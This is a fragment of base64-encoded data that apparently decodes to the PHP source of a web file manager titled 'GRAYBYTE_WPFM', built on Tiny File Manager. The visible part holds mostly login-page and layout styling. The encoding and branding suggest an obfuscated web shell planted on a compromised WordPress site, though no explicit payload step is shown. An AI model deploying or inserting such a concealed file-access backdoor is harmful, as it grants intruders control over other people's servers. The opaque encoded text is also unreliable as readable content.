AgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bG